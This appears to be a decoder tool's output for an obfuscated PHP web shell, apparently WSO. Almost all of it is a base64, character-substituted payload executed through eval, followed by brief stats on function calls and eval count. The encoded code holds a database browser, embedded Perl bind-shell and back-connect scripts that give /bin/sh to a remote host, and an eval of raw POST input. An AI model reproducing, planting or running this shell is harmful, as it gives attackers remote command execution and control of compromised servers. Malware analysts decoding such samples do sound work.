tNT1mNGw1IHYxbDM1PSdkM21wLnNxbCc+PC90ZD48dGQgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNlZWU7Jz4iOw0KICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3A2J10gPT0gJ3M1bDVjdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwNiddID0gJ3EzNXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJF9QT1NUWydwbyddPyRfUE9TVFsncG8nXTo2Ow0KICAgICAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcgLiAkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICAgICAkbjNtID0gJGRiLT5mNXRjaCgpOw0KICAgICAgICAgICAgICAgICAgICAkcDFnNXMgPSBjNTRsKCRuM21bJ24nXSAvIG8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHNjcjRwdD5kLnNmLjJuczNibTR0PWYzbmN0NDJuKCl7c3QoXCIiIC4gJF9QT1NUWydwYSddIC4gIlwiLCBkLnNmLnBvLnYxbDM1KX08L3NjcjRwdD48c3Axbj4iLiRfUE9TVFsncGEnXS4iPC9zcDFuPiAoeyRuM21bJ24nXX0gcjVjMnJkcykgUDFnNSAjIDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT0ncG8nIHYxbDM1PSIgLiAoKDRudCkkX1BPU1RbJ3BvJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICIgMmYgJHAxZzVzIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddID4gNikNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddLTYpIC4gIiknPiZsdDsgUHI1djwvMT4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPCAkcDFnNXMpDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXSs2KSAuICIpJz5ONXh0ICZndDs8LzE+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddLS07DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsndHlwNSddPT0ncGdzcWwnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYoKEAkX1BPU1RbJ3A2J10gPT0gJ3EzNXJ5JykgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeShAJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdDR0bDUgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0MWJsNSB3NGR0aD02MDAlIGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9YSBjbDFzcz1tMTRuIHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiNhOWE5YTkiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDY7DQogICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkdDR0bDUpICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1czV0KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ0dGw1PXRyMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gJGw0bjU9PTY/YTo2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYxbDM1ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGQ+PDQ+bjNsbDwvND48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ZD4nLm5sYWJyKGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KSkuJzwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGQ0dj48Yj5FcnIycjo8L2I+ICcuaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpLic8L2Q0dj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVjaDIgIjxicj48L2Yycm0+PGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJxMzVyeVwiO2Quc2YucGEudjFsMzU9dGg0cy5xMzVyeS52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48dDV4dDFyNTEgbjFtNT0ncTM1cnknIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+IjsNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAiPC90MWJsNT48L2Yycm0+PGJyLz4iOw0KICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCJTRUxFQ1QgNiBGUk9NIG15c3FsLjNzNXIgV0hFUkUgYzJuYzF0KGAzczVyYCwgJ0AnLCBgaDJzdGApID0gVVNFUigpIEFORCBgRjRsNV9wcjR2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIDRmKCRkYi0+ZjV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoQCRfUE9TVFsncDYnXSA9PSAnbDIxZGY0bDUnKSB7DQogICAgICAgICAgICAgICAgJGY0bDUgPSAkZGItPmwyMWRGNGw1KCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy5odG1sc3A1YzQxbGNoMXJzKCRmNGw1WydmNGw1J10pLic8L3ByNT4nOw0KICAgICAgICAgICAgfQ0KICAgIH0gNWxzNSB7DQogICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gMWN0NDJuTjV0dzJyaygpIHsNCiAgICB3czJINTFkNXIoKTsNCiAgICAkYjFja19jMm5uNWN0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFFwNmNhVWdVYTlqMWFWME93MEtKR2xoWkdSeVBXbDNaWFJmWVhSdmI0Z2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2oyZ0pDRmNiNElwT3cwS0pIQmhaR1J5UFhOdllhdGhaR1J5WGFsM0tDUkJVa2RXV3pGZExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVHNOQzRSd2NtOTBiejZuWlhSd2NtOTBiYUppYm1GdFpTZ25kR053SnlrN0RRcHpiYU5yWlhRMlUwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dKSEJ5Ym9SdktTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwamJhaTNaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcHZjR1YzS0ZOVVJFbE9MQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNnbkxhSnBiNDl6MUNBdDFTY3BPdzBLWWF4dmNhVTJVNlJFU1V1cE93MEtZYXh2Y2FVMlU2UkVUNlZVS1RzTkNtTnNib05sS0ZOVVJFVlNVNGs3IjsNCiAgICAkYjRuZF9wMnJ0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFEya1UwaEZURXc5STQ5NDFXdXZjYWdnTFdrNE93MEsxV1lnS0VCQlVrZFdJRHdnTVNrZzV5Qmw1R2wwS0RFcE95QjlEUXA2Y2FVZ1VhOWoxYVYwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTZSU1JVRk5MR2RsZEhCeWJvUnZZbmwzWVc2bEtDZDBZb0FuS1NrZ2ZId2daR2xsSUNKRFlXaTBJR055WldGMFpTQnpiYU5yWlhSY2I0STdEUXB6WlhSemJhTnJib0IwS0ZNc1UwOU1YNk5QUTB0RlZDeFRUNjlTUlZWVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRUZTUjZaYk1GMHNTVWlCUkVSU1gwRk9XU2twSUh4OElHUnBaU0E0UWFGM2RDQnZjR1YzSUhCdmNuUmNiNEk3RFFwczFYTjBaV3UyVXl3ektTQjhmQ0JrMVdVZ0lrTmhiblFnYkdsemRHVjNJSEJ2Y25SY2I0STdEUXBvMUdsc1pTZ3hLU0I3RFEySllXTmpaWEIwS0VOUFRrdXNVeWs3RFEySjFXWTJJU2drY0dsa1BXWnZjbXNwS1NCN0RRMkpDV1JwWlNBNFFhRjNibTkwSUdadmNtczRJR2xtSUNnaFpHVm0xV2lsWkNBa2NHbGtLVHNOQ2drSmJvQmxiNEJUVkVSSlQ0dzRQQ1pEVDBpT0lqc05DZ2tKYm9CbGI0QlRWRVJQVlZRc0lqdW1RMDlPVDRJN0RRMkpDVzl3Wld1Z1U2UkVSVkpTTENJK0prTlBUa3U0T3cwS0NRbGw1R1ZqSUNSVFNFVk1UQ0I4ZkNCazFXVWdjSEpwYm5RZ1EwOU9UNEE0UWFGM2RDQmw1R1ZqZFhSbElDUlRTRVZNVEZ4M0lqc05DZ2tKWWF4dmNhVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7DQogICAgNWNoMiAiPGg2PkIxY2sgQzJubjVjdCAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4gJiNlaWlvbzsgICAmI2VpaW9vOyAgQnkgUmNQICBgICBgPC8xPiA8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PVwiZyhuM2xsLG4zbGwsJ2JwcCcsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+DQogICAgPHNwMW4+L2I0bi9zaCBCMWdsMW50NHM0PC9zcDFuPjxici8+DQogICAgUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KICAgIDwvZjJybT4NCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PVwiZyhuM2xsLG4zbGwsJ2JjcCcsdGg0cy5zNXJ2NXIudjFsMzUsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+DQogICAgPHNwMW4+QjFjay1jMm5uNWN0IHkxcDwvc3Axbj48YnIvPg0KICAgIFM1cnY1cjogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3M1cnY1cicgdjFsMzU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KICAgIDwvZjJybT48YnI+IjsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIGYzbmN0NDJuIGNmKCRmLCR0KSB7DQogICAgICAgICAgICAkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQogICAgICAgICAgICA0Zigkdyl7DQogICAgICAgICAgICAgICAgQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KICAgICAgICAgICAgICAgIEBmY2wyczUoJHcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYnAucGwiLCRiNG5kX3AycnRfcCk7DQogICAgICAgICAgICAkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBicC5wbCIpLiI8L3ByNT4iOw0KICAgICAgICAgICAgM25sNG5rKCIvdG1wL2JwLnBsIik7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCiAgICAgICAgICAgICQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9iYy5wbCIpOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5SQygpIHsNCiAgICA0ZighQCRfUE9TVFsncDYnXSkgew0KICAgICAgICAkMSA9IDFycjF5KA0KICAgICAgICAgICAgIjNuMW01IiA9PiBwaHBfM24xbTUoKSwNCiAgICAgICAgICAgICJwaHBfdjVyczQybiIgPT4gcGhwdjVyczQybigpLA0KICAgICAgICAgICAgIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwNCiAgICAgICAgICAgICJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQogICAgICAgICk7DQogICAgICAgIDVjaDIgczVyNDFsNHo1KCQxKTsNCiAgICB9IDVsczUgew0KICAgICAgICA1djFsKCRfUE9TVFsncDYnXSk7DQogICAgfQ0KfQ0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQogICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KICAgICAgICAkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCiAgICA1bHM1DQogICAgICAgICRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCiAgICBjMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7DQo/PiA=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Function Calls
strtr | 1 |
ereg_replace | 1 |
base64_decode | 2 |
Stats
MD5 | 73fb589ab8ccd8a8c485c455b7aad7ae |
Eval Count | 2 |
Decode Time | 725 ms |